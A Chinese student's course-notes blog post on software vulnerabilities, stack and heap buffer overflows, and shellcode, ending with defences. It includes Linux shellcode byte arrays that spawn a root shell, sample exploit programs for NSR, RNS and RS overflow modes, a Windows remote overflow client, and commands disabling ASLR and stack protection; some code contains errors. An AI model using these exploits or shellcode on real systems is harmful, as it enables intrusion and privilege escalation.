20199319 2019-2020-2 《网络攻防实践》第十周作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10723
我在这个课程的目标是 学习并掌握网络攻防知识,能完成相关实践
这个作业在哪个具体方面帮助我实现目标 学习缓冲间溢出相关知识

软件安全攻防—缓冲区溢出和Shellcode

1.知识点梳理与总结

软件安全概述

1、攻击者能够轻易地对系统和网络实施攻击,很大程度上是因为安全漏洞在软件中的大规模存在。攻击者可以利用这些漏洞来违背系统和网络的安全属性。大多数成功攻击都是利用和破解已公布但未被修改的软件安全漏洞或不安全的软件配置。

2、软件安全漏洞:软件中可以被攻击者利用并导致危害的安全缺陷。

安全漏洞三个基本元素:系统的脆弱性或缺陷、攻击者对缺陷的可访问性、攻击者对缺陷的可利用性。

  • 一个安全脆弱性或缺陷能被称为安全漏洞,必须是攻击者具备至少一种攻击工具或技术能访问和利用这一缺陷。

3、软件安全困境三要素

  • 复杂性:软件规模越来越大,越来越复杂,使得软件的bug越来越多。(源代码行数是衡量软件规模的一个重要度量指标)。
  • 可扩展性:现代可扩展软件本身的特征使得安全保证困难。攻击者和恶意代码以不可预测的扩展方式来入侵软件和系统;分析可扩展性软件的安全性要比分析一个完全不能更改的软件要困难得多。
  • 连通性:高度的连通性使得网络攻击影响范围放大;网络连通性使得不需要人为干涉的自动化攻击成为可能。

4、软件安全漏洞类型从技术上分为以下几类:

  • 内存安全未违规类:在软件开发过程中处理RAM内存访问时引入的安全缺陷,对内存中敏感数据“改写”或“溢出”,如缓冲区溢出漏洞、不安全指针(不安全指针是指在计算机程序中没有指向适当类型对象的非法指针);
  • 内存安全违规类漏洞主要出现在C\C++等编程语言所编写的软件之中(这类语言支持任意内存的分配和归还、任意指针的转换、计算等操作,这类操作没有内存安全保障);
  • Java等语言能解决此类漏洞;
  • 输入验证类:指软件程序在对用户输入进行数据验证存在的错误,没有保证数据的正确性、合法性、安全性。
  • 主要包含格式化字符串、SQL注入(服务器上的数据库运行非法的SQL语句,主要通过拼接来完成)、代码注入、远程文件包含、目录遍历、XSS攻击、HTTP Header注入、HTTP响应分割错误等;
  • 竞争条件类:涉及多进程或多线程处理,指处理进程的输出或结果无法预测,并依赖其它进程发生的次序或时间时导致的错误;
  • TOCTTOU(Time-of-check-to-time-of-use)类漏洞:程序检查一个谓词条件之后,通过另一进程对谓词条件进行修改从而改变条件状态,使检查时刻和使用时刻的条件状态不一致。
  • 符号链接竞争问题:由于程序以不安全的方式创建文件所导致的漏洞。恶意用户可以创建一个符号链接,指向无权访问的文件,当存在漏洞的特权程序创建与符号链接同名的文件时,便对已存在文件进行修改。
  • 权限混淆与提升类:指计算机程序由于自身编程疏忽或被第三方欺骗,从而滥用其权限,或赋予第三方不该给予的权限;
  • 权限混淆与提升类漏洞的具体技术形式主要有Web应用程序中的跨站请求伪造(CSRF)、Clickjacking、FTP反弹攻击(攻击者绕过FTP服务器的权限限制,让FTP服务器作为中间代理,用于隐蔽的端口扫描)、权限提升(发生于拥有特权的应用程序;被攻击者用于获取系统管理员或系统开发者预期之外的更高权限,yogurt执行内核级操作)、越狱(jailbreak)(指在类UNIX系统中破解chroot和jail机制,从而访问系统管理员通过chroot设置限制目录之外的文件系统内容)。

缓冲区溢出基础概念

1、缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性;

  • 多见于C/C++语言程序中的memcpy()、strcpy()等内存与字符串复制函数的引用位置;;
  • 缓冲区溢出攻击发生的根本原因:现代计算机系统的基础构架——冯诺伊曼体系存在本质的安全缺陷,即采用了“存储程序”的原理,计算机程序的数据和指令都在同一内存中进行存储,而没有严格的分离。

2、缓冲区溢出攻击背景知识

  • 编译器与调试器的使用:使用C/C++等高级编程语言编写的源码,需要通过编译器和连接器才能生成可直接在操作系统平台上运行的可执行程序代码;
  • 调试器是程序开发人员在运行时调试与分析程序行为的基本工具。
  • C/C++编程语言最著名的编译与连接器是GCC。GCC基本用法:执行【gcc –c test.c】命令进行源码编译,生成test.o;执行【gcc –o test test.o】进行连接,生成test可执行程序;可以使用【gcc test.c –o test】同时完成编译和连接过程。
  • 编写或自动生成Makefile处理多个源码文件、包含头文件、引用库文件等多种情况,来控制GCC的编译和连接过程;
  • 类UNIX平台上进行程序的调试使用GDB调试器,GDB提供程序断点管理(break/clear设置/移除断点;enable/disable启用/禁用断点;watch设置监视表达式值改变时的程序中断)、执行控制(run运行;attach调试已运行进程;continue继续运行;next单步代码执行不进入函数调用;nexti单步指令执行不进入函数调用;step单步代码执行进入函数调用;stepi单步指令执行进入函数调用)、信息查看(info查看各种信息;backtrace显示调用栈;x限制指定地址内容;print显示表达式值;list列出源码;disass反汇编指定函数)等多种类型的功能指令。
  • 汇编语言基础知识:汇编语言是理解软件安全漏洞机理,掌握软件渗透攻击代码技术的底层基础。
  • 从应用的角度将寄存器分为4类:通用寄存器、段寄存器、控制寄存器和其他寄存器。通用寄存器主要用于普通的算术运算,保存数据、地址、偏移量、计数值等;段寄存器在IA32构架中是16位,用作段基址寄存器;控制寄存器用来控制处理器的执行流程,指令指针eip保存下一条即将执行的机器指令的地址。其他寄存器中“扩展标志”eflags寄存器,由不同的标志位组成,用于保存指令执行后的状态和控制指令执行流程的标志信息。

  • 在IA32构架汇编语言中,分为Intel(DOS/Windows平台)和AT&T(类UNIX平台)两种汇编格式。
  • 进程内存管理:
  • 进程内存空间布局和管理机制:程序在执行时,系统在内存中会为程序创建一个虚拟的内存地址空间(32位机上即4GB的空间大小),用于映射物理内存,并保存程序的指令和数据;操作系统将可执行程序加载到新创建的内存空间中;加载完成后,系统开始初始化“栈”(FILO)和“堆”(FIFO);程序执行时按照程序逻辑执行.text中的指令,在“堆”“栈”中保存和读取指令。
  • Linux系统进程内存空间布局:3GB(0xc0000000)以下为用户态空间;3GB-4GB为内核态空间;
    可执行程序一般包含.text(包含程序指令,只读)、.bss(包含未经初始化的数据,可写)和.data(包含静态初始化数据,可写)三种类型的段。
  • Windows系统进程内存空间布局:2GB-4GB为内核态地址空间,用于映射Windows内核代码和一些核心态DLL,并用于存储一些内核态对象;0GB-2GB为用户态地址空间。
  • 函数调用过程:栈溢出攻击就是针对函数调用过程中返回地址在栈中的存储位置,进行缓冲区溢出,从而改写返回地址,达到让处理器指令寄存器跳转至攻击者指定位置执行恶意代码的目的。
  • 是LIFO后进先出的抽象数据结构,主要被用于实现程序中的函数或过程调用,在栈中会保存函数的调用参数、返回地址(函数调用结束后执行的下一条指令地址,存在eip中)、调用者栈基址、函数本地局部变量等数据。
  • 与栈密切相关的寄存器:ebp和esp,分别保存当前运行函数的栈底地址和栈顶地址;两个密切相关的指令:push和pop,分别是将数据压入栈,及将栈顶数据弹出至特定寄存器。
  • 程序进行函数调用的过程:①调用:将函数调用参数、函数调用下一条指令的返回地址压栈②序言:被调用函数开始执行时先进入序言阶段,压栈保存调用函数的栈基址(ebp寄存器),创建自身函数栈结构(为本地函数局部变量分配栈地址空间,更新esp为当前栈顶指针)③返回:执行leave和ret指令(恢复调用者的栈顶和栈底指针,将之前压栈的返回地址赋给eip,然后执行函数调用之后的下一条指令)。

3、缓冲区溢出攻击原理

  • 缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不同,分为栈溢出(存储在栈上的缓冲区变量由于存在缺乏边界保护问题,被溢出并修改栈上敏感信息如返回地址,使程序流程改变)、堆溢出(存储在堆上的缓冲区变量缺乏边界保护遭受溢出攻击)和内核溢出(进程内存空间内核态中的缓冲区变量溢出)三种具体技术形态。
  • Linux系统可能采取对抗缓冲区溢出的防范措施,需要先取消,再重现攻击:
    ①取消“栈上数据不可执行”保护:echo 0 > /proc/sys/kerne/exec-shield
    ②取消“地址空间随机化”保护:echo 0 > /proc/sys/kernel/randomize_va_space
    ③编译时取消“/GS”保护:加上gcc编译选项 –fno-stack-protecto。
  • 栈溢出安全漏洞示例:局部变量存储在栈上,位于main()函数【return 0】返回地址之下,在return_input()函数中执行gets函数将用户终端输入到array缓冲区时,如果输入超过30字节的字符串就会发生缓冲区溢出(压栈的方向是函数返回地址->栈底地址->临时变量地址),向上覆盖,一旦覆盖了RET返回地址可能导致程序崩溃。
#include <stdio.h>
void return_input(void){
    char array[30];       /*定义局部变量array为30字节长度的字符串缓冲区*/
    gets(array);
    printf("%s\n", array);
}
int main (void){
    return_input();
    return 0;
}

  • 缓冲区溢出攻击三个挑战:找出溢出要覆盖的敏感位置;修改敏感位置的值,常为恶意指令的起始位置;恶意指令代码,称为攻击的payload,常为攻击者给出一个远程Shell访问,也称为Shellcode。
#include <stdio.h>
#include <string.h>
char shellcode[]=
      "\x31\xc0" //xorl %eax,%eax 
      "\x50" //pushl %eax 
      "\x68""//sh" //pushl $0x68732f2f 
      "\x68""/bin" //pushl $0x6e69622f 
      "\x89\xe3" //movl %esp,%ebx 
      "\x50" //pushl %eax 
      "\x53" //pushl %ebx 
      "\x89\xe1" //movl %esp,%ecx 
      "\x99" //cdq 
      "\xb0\x0b" //movb $0x0b,%al 
      "\xcd\x80" //int $0x80 
      ;
char large_string[128];
int main(int argc, char **argv){
	char buffer[96];
	int i;
	long *long_ptr = (long *) large_string;
	for (i = 0; i < 32; i++)
		*(long_ptr + i) = (int) buffer;
	for (i = 0; i < (int) strlen(shellcode); i++)
		large_string[i] = shellcode[i];
	strcpy(buffer, large_string);
	return 0;
}
  • 分析:large_string长度是128字节,其低地址包含一段Shellcode代码; buffer长度为96字节。Strcpy操作将128字节的长度复制到96字节的长度中,buffer缓冲区溢出,将main函数返回地址RET覆盖改写为Shellcode起始地址,在main函数执行返回的时候,EIP寄存器就会装载RET的值,进而跳转到Shellcode执行,即调用/bin/sh启动Shell程序,然后退出。

Linux平台上的栈溢出与shellcode

1、Linux平台中栈溢出攻击按照攻击数据的构造方式不同,主要有NSR、RNS和RS三种模式。
(1)NSR模式:主要适用于被溢出的缓冲区变量比较大,足以容纳Shellcode的情况。

  • 其攻击数据从低地址到高地址的构造方式是一堆Nop指令(即空操作指令)之后填充Shelleode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区。
  • 将这个攻击缓冲区作为vulnerablel.c漏洞程序输入,复制到其局部变量buf时,将溢出并改写main函数的返回地址,从而使得程序执行流程跳转至Nop指令所填充出来的“着陆区”中,无论跳转至哪个Nop指令上,程序都会继续执行,并最终运行Shellcode,向攻击者给出Shell。
  • vulnerable1.c
#include<stdio.h> 
int main(int argc,char **argv){ 
      char buf[500]; 
      strcpy(buf,argv[1]); 
      printf("buf's 0x%8x\n",&buf); 
      getchar(); 
      return 0; 
}
  • exploit1.c
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h>
char shellcode[];

int main(int argc,char *argv[]){ 
      char buf[530]; 
      char* p; p=buf; 
      int i; 
      unsigned long ret; 
      int offset=0; 
/* offset=400 will success */ 
      if(argc>1) offset=atoi(argv[1]); 
      ret=get_esp()-offset; 
      memset(buf,0x90,sizeof(buf)); /*用0x90即NOP填充buf */ 
      memcpy(buf+524,(char*)&ret,4); /*覆盖RET返回地址*/
      memcpy(buf+i+100,shellcode,strlen(shellcode)); /*程序跳转到NOPS “着陆区”*/ 
      printf("ret is at 0x%8x\n esp is at 0x%8x\n", ret,get_esp());
      execl("./vulnerable1","vulnerable1",buf,NULL); /*执行漏洞程序*/ 
      return 0; 
}

(2)RNS模式:一般用于被溢出的变量比较小,不足于容纳Shellcode的情况。

  • 攻击数据从低地址到高地址的构造方式是首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。
  • 在溢出攻击之后,攻击数据将在RET区段即溢出了目标漏洞程序的小缓冲区,并覆盖了栈中的返回地址,然后跳转至Nop指令所构成的“着陆区”,并最终执行Shellcode。
  • vulnerable2.c同vulnerable1.c
  • exploit2.c
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h>
char shellcode[];

int main(int argc,char **argv){ 
      char buf[500]; #分配一个500BYTES的大BUF,用于我们的构造把整个BUFFER填满NOPS             
      unsigned long ret,p; 
      int i; 
      p=&buf; 
      ret=p+70; 
      memset(buf,0x90,sizeof(buf)); /*用0x90即NOP填充buf */ 
      for(i=0;i<44;i+=4) 
      *(long *)&buf[i]=ret; 
      memcpy(buf+400+i,shellcode,strlen(shellcode)); /*复制shellcode*/       
      execl("./vulnerable2","vulnerable2",buf,NULL); /*执行漏洞程序*/ 
      return 0; 
}

(2)RS模式:能精确地定位出Shellcode在目标漏洞程序进程空间中的起始地址,因此无须引入Nop空指令构建“着陆区”。

  • 将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的,可以通过如下公式进行计算:
    ret = 0xc0000000 - sizeof(void *) - sizeof(FILENAME) - sizeof(Shellcode)
  • vulnerable3.c同vulnerable2.c
  • exploit3.c
#include<stdio.h> 
#include<stdlib.h> 
#include<string.h>
char shellcode[];

int main(int argc,char **argv){ 
   char buf[32]; 
   char *p[]={"./vulnerable2",buf,NULL}; 
   char *env[]={"HOME=/root",shellcode,NULL}; /*将shellcode放入环境变量中*/
   unsigned long ret; 
   ret=0xc0000000-strlen(shellcode)-strlen("./vulnerable3")-sizeof(void *); /*计算RET地址*/
   memset(buf,0x41,sizeof(buf)); /* 用A填满buf */
   memcpy(&buf[28],&ret,4); /*覆盖RET返回地址*/
   printf("ret is at 0x%8x\n",ret); 
   execve("./vulnerable2", "/vulnerable2", buf, env); /*执行漏洞程序*/
   return 0; 
}
  • 在Linux平台中,本地栈溢出攻击,即渗透攻击代码的攻击目标对象是本地的漏洞程序,可以用于特权提升。

2、Linux平台的shellcode实现技术
(1)Linux平台的远程栈溢出和本地栈溢出区别:

  • Linux平台上的远程栈溢出攻击原理与本地栈溢出一样,区别在于用户输入传递的途径不同,以及Shellcode的编写方式不同。
  • 本地栈溢出攻击中的Shellcode主要包含提升至较当前运行用户权限更高的权限,并给出本地Shell访问;远程栈溢出攻击的Shellcode需要将Shell访问与网络连接起来,给出一个远程的Shell访问。
  • NSR和RNS模式也适用于远程栈溢出,使用场景主要取决于被溢出的目标缓冲区大小是否足够容纳Shellcode。
  • Shellcode是一段机器指令,对于IA32架构平台,Shellcode是符合Intel32位指令规范的一串CPU指令,被用于溢出之后改变系统正常流程,转而执行Shellcode以完成渗透测试者的攻击目的。通常提供一个访问系统的本地或远程命令行访问,即Shell。

(2)Linux本地Shellcode实现机制:Linux系统本地Shellcode通常提供的功能就是为攻击者启动一个命令行Shell。

  • Shellcode的通用方法:
    ①先用高级编程语言,通常用C,来编写Shellcode程序;
    ②编译并反汇编调试这个Shellcode程序;
    ③从汇编语言代码级别分析程序执行流程;
    ④整理生成的汇编代码,尽量减小它的体积并使它可注入,并可通过嵌入C语言进行运行测试和调试;
    ⑤提取汇编代码所对应的opcode二进制指令,创建Shellcode指令数组。
  • 示例:
/*C语言实现的Linux系统本地shellcode*/
#include <stdio.h>
int main ( int argc, char * argv[] )
{
    char * name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve( name[0], name, NULL );     /* execve启动/bin/sh提供命令行*/
}
/*编译获得汇编代码*/
mov    $0x0,%edx
push   %edx
push   $0x68732f6e
push   $0x69622f2f
mov    %esp,%ebx
push   %edx
push   %ebx
mov    %esp,%ecx
mov    $0xb,%eax     /*将eax赋值为execve系统调用号0xb*/
int    $0x80         /*执行int 0x80软中断,即调用execve函数*/
/*消除空字节0x00或NULL*/
xor    %edx,%edx
push   %edx
push   $0x68732f6e
push   $0x69622f2f
mov    %esp,%ebx
push   %edx
push   %ebx
mov    %esp,%ecx
mov    $0xb,%eax
int    $0x80
/*转化成对应的opcode二进制指令形式的shellcode*/
char shellcode[] = 
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
  • 完整功能的Linux本地Shellcode指令数组:
char shellcode[]= 
// setreuid(0,0); 
"\x31\xc0" // xor %eax,%eax 
"\x31\xdb" // xor %ebx,%ebx 
"\x31\xc9" // xor %ecx,%ecx 
"\xb0\x46" // mov $0x46,%al 
"\xcd\x80" // int $0x80 
// execve /bin/sh 
"\x31\xc0" // xor %eax,%eax 
"\x50" // push %eax 
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f 
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f 
"\x89\xe3" // mov %esp,%ebx 
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx 
"\x50" // push %eax 
"\x53" // push %ebx 
"\x8d\x0c\x24" // lea (%esp,1),%ecx 
"\xb0\x0b" // mov $0xb,%al 
"\xcd\x80" // int $0x80 
// exit(); 
"\x31\xc0" // xor %eax,%eax 
"\xb0\x01" // mov $0x1,%al 
"\xcd\x80"; // int $0x80

(3)Linux远程shellcode实现机制:

远程Shellcode的实现原理与本地Shellcodes完全一致,也是通过给出高级语言的功能代码,然后通过反汇编吊事编译后的二进制程序,提取、优化和整理所获得的汇编代码,最终产生opcode二进制指令代码。

Windows平台上的栈溢出与shellcode

1、Windows操作系统与Linux操作系统实现机制的不同

(1)<span style="color:red"对程序运行过程中废弃栈的处理方式差异:
一个函数调用完成返回至调用者,执行下一条指令之前,Windows平台会向废弃栈中写入一些随机的数据,Linux则不进行任何处理。

(2)进程内存空间的布局差异:
Linux进程内存空间中栈底指针在0xc0000000之下,即一般栈中变量的位置都在0xbfff地址附近,在这些地址中没有空字节。Windows平台的栈位置处于0x00FFFFFF以下的用户内存空间,一般为0x0012地址附近,而这些内存地址的首字节均为0x00空字节。

(3)系统功能调用的实现方式差异:
Linux系统通过“int 80”中断处理来调用系统功能;Windows系统是通过操作系统中更为复杂的API及内核处理例程调用链来完成系统功能调用,对应用程序直接可见的是应用层中如kernel32.dll、User32.dll等系统动态链接库中导出的一些系统API接口函数。

2、Windows远程栈攻击示例
对于字符串接收与回显服务端程序,通过Windows Socket机制创建一个服务器端Socket,在TCP 3764端口监听,在接收客户端连接之后,把客户端输入的字符串统计接收字节数,并进行回显,但在调用overflow()函数中接收字符串复制到本地局部变量s1缓冲区时,没有进行边界保护,因此存在栈溢出安全漏洞。下面是针对该漏洞的远程渗透攻击代码:

int main() { 
      WSADATA wsa; 
      SOCKET sockFD; 
      char Buff[1024],*sBO; 

      WSAStartup(MAKEWORD(2,2),&wsa); 
      sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 
      struct sockaddr_in server; 

      server.sin_family = AF_INET; 
      server.sin_port = htons(3764); 
      server.sin_addr.s_addr=inet_addr("127.0.0.1"); 

      connect(sockFD,(struct sockaddr *)&server,sizeof(server)); 
      for(int i=0;i<56;Buff[i++]=0x90); 
      strcpy(Buff+56,(char *)eip); 
      strcpy(Buff+60,(char *)sploit); 
      sBO = Buff; send(sockFD,sBO,56+4+560,0); 
      closesocket(sockFD); 
      WSACleanup(); 
      return 1; 
}

分析:首先创建了一个客户端socket,并连接目标漏洞服务程序所监听的IP地址与端口;缓冲区的大小是1024,首先填充了一段Nop指令;在事先计算好的返回地址位置上放置了一个指向“JMP ESP"指令的地址,该指令地址在不同的目标程序运行系统上是不一样的,由攻击者通过在各个系统环境中调试获得。

3、Windows平台shellcode实现技术
(1)windows本地shellcode:

  • 在Windows平台上,典型的本地Shellcode同样也是启动一个命令行Shell,即“command.com”或“cmd.exe”。
  • 编写shellcode最简单的方式是使用硬编码的函数地址,如system()函数在WindowsXP特定版本的目标程序内存空间加载地址为0x77bf93c7,在shellcode中使用Call 0x77bf93c7指令来让EIP指令寄存器跳转至硬编码的函数入口地址执行,这种方法可以有效压缩编码长度。
  • 为保证Shellcode能正确调用所需函数,需要将所需函数的动态链接库庄仔倒目标程序内存,然后查询该函数的加载地址。Kernel32.dll中LoadLibrary()和GetProcAddress()提供运行时加载指定动态链接库,及查询加载地址的功能。
  • 示例:
    以下为C语言版的Windows本地Shellcode程序,即使用LoadLibrary()函数加载msvert.dll动态链接库,通过GetProcAddress()函数获得system函数的加载入口地址,赋值给ProcAdd函数指针,然后通过函数指针调用system()函数,启动命令行Shell,最后还要调用exit()退出当前进程。
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
typedef void (*MYPROC2)(int);
int main()
{
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        MYPROC2 ProcAdd2;
        char dllbuf[11]  = "msvcrt.dll";
        char sysbuf[7] = "system";
        char cmdbuf[16] = "command.com";
        char sysbuf2[5] = "exit";
        LibHandle = LoadLibrary(dllbuf);
        ProcAdd = (MYPROC)GetProcAddress(LibHandle, sysbuf);
        (ProcAdd)(cmdbuf);

        ProcAdd2 = (MYPROC2) GetProcAddress(LibHandle, sysbuf2);
        (ProcAdd2)(0);
}

(2)Windows远程Shellcode大致过程如下:
①创建一个服务器端socket,并在指定的端口上监听;
②通过accept()接受客户端的网络连接;
③创建子进程,运行“cmd.exe”,启动命令行;
④创建两个管道,命令管道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令,连接至cmd.exe的标准输入;然后输出管道将cmd.exe的标准输出连接至服务器端socket的发送(send),通过网络将运行结果反馈给客户端。

堆溢出攻击

1、堆溢出(Heap Overflow)是缓冲区溢出中第二种类型的攻击方式。

一个典型的Linux程序在其进程内存空间中通常有如下一些数据区:包含已初始化全局数据的.data段、包含未经初始化数据的.bss段、运行时刻动态分配内存的数据区heap等。它们的共同特点是数据分配与增长方向是从低地址向高地址,而非栈从高地址向低地址的增长方向。因此,在.data、.bss和heap中缓冲区溢出的情形,都被称为堆溢出。

2、函数指针改写

  • 需要被溢出的缓冲区临近全局函数指针存储地址,且在其低地址方向。这种条件下,当向缓冲区填充数据时,如果没有边界判断和控制的话,那么缓冲区溢出之后就会自然地覆盖函数指针所在的内存区,从而改写函数指针的指向地址,攻击者将该函数指针指向恶意构造的Shellcode入口地址,在程序使用函数指针调用原先期望的函数时,就会转而执行Shellcode。
  • 示例:
#define ERROR -1 	 
#define BUFSIZE 16 	
int goodfunc(const char *str) 	 
{ 	 
	printf("\nHi, I'm a good function. I was called through funcptr.\n"); 	 
	printf("I was passed: %s\n", str); 	 
	return 0; 	 
}
int main(int argc, char **argv) 
{ 	 
	static char buf[BUFSIZE]; 	 
 	static int (*funcptr)(const char *str); 	 
	if (argc <= 2) 	 
	{ 	 
		fprintf(stderr, "Usage: %s <buffer> <goodfunc's arg>\n", argv[0]); 
		exit(ERROR);
	}
	printf("system()'s address = %p\n", &system); 	 
	funcptr = (int(*)(const char *str))goodfunc; 
	printf("before overflow: funcptr points to %p\n", funcptr); 	 
	memset(buf, 0, sizeof(buf)); 
	strncpy(buf, argv[1], strlen(argv[1])); 
	printf("after overflow: funcptr points to %p\n", funcptr); 	 
	(void)(*funcptr)(argv[2]); 
	return 0; 
} 	
  • 分析:
    buf是缺乏保护安全便捷的缓冲区,其相邻高地址方向有一个函数指针funcptr,攻击者利用strncpy()漏洞,将用户输入的字符串缓冲区复制到buf时,利用堆溢出将system()函数的地址复制至funcptr,然后程序调用funcptr函数指针时,会转到system()函数。

3、C++类对象虚函数表改写

  • C++类通过虚函数提供了一种Late binding运行过程绑定的机制,编译器为每个包含虚函数的类建立起虚函数表、存放虚函数的地址,并在每个类对象的内存区中放入一个指向虚函数表的指针,通常称为虚函数指针vptr。
  • 使用了虚函数机制的C++类,如果它的类成员变量中存在可被溢出的缓冲区,那么就可通过覆盖类对象的虚函数指针,使其指向一个特殊构造的虚函数表,从而转向执行攻击者恶意注入的指令。

4、Linux下堆管理glibc库free()函数本身漏洞

  • Linux操作系统中的堆管理是通过glibc库实现的,glibc 2.2.4及以下版本的堆内存管理算法是使用了Doug Lea的实现方式,称为dlmalloc;glibe 2.2.5及以上版本采用Wolfram Gloger的ptmalloc/ptmalloc2代码,ptmalloc代码是从dlmalloc代码移植过来的,主要目的是增加对多线程环境的支持,同时进一步优化了内存分配和回收的算法。
  • dImalloc实现的glibc库使用了Bin双向循环链表来存储内存空闲块信息,并使用了两个宏来完成对Bin链表的插入和删除操作。

缓冲区溢出攻击的防御技术

1、尝试杜绝缓冲区溢出的防御技术

  • 解决缓冲区溢出攻击最根本的方法是编写正确的、不存在缓冲区溢出安全漏洞的软件代码,但由于C/C++语言作为效率优先的语言,很容易就会出现缓冲区溢出;
  • 使用一些高级查错工具,通过Fuzz注入测试寻找程序漏洞,但并不能找到所有的漏洞;
  • 在编译器上引入针对缓冲区的边界检查保护机制。

2、允许溢出但不让程序改变运行流程的防御技术

  • 允许溢出发生,但对可能影响到程序流程的关键数据结构实施严密的安全保护,不让程序改变其执行流程,从而阻断溢出攻击。
  • 如对编译器gcc加补丁,使得在函数入口处能够自动地在栈中返回地址的前面生成一个Canary检测标记,在函数调用结束检测该标记是否改变来阻止溢出改变返回地址,从而阻止缓冲区溢出攻击。

3、无法让攻代码执行的防御技术

  • 尝试解决冯·诺依曼体系的本质缺陷,通过堆栈不可执行限制来防御缓冲区溢出攻击。

2.学习中遇到的问题及解决

1、程序理解困难
还是要多理解,一条一条的看,遇到问题就百度。

3.学习感悟和思考

这一章学习缓冲区溢出,需要用到shellcode运行,但我对汇编代码读起来还是比较费力,分析的也还不够,还是要多分析,也要向同学学习。

参考资料

缓冲区溢出攻击
linux下gdb调试方法与技巧整理

posted @ 2020-05-06 15:17  1993Fxn  阅读(342)  评论(0编辑  收藏  举报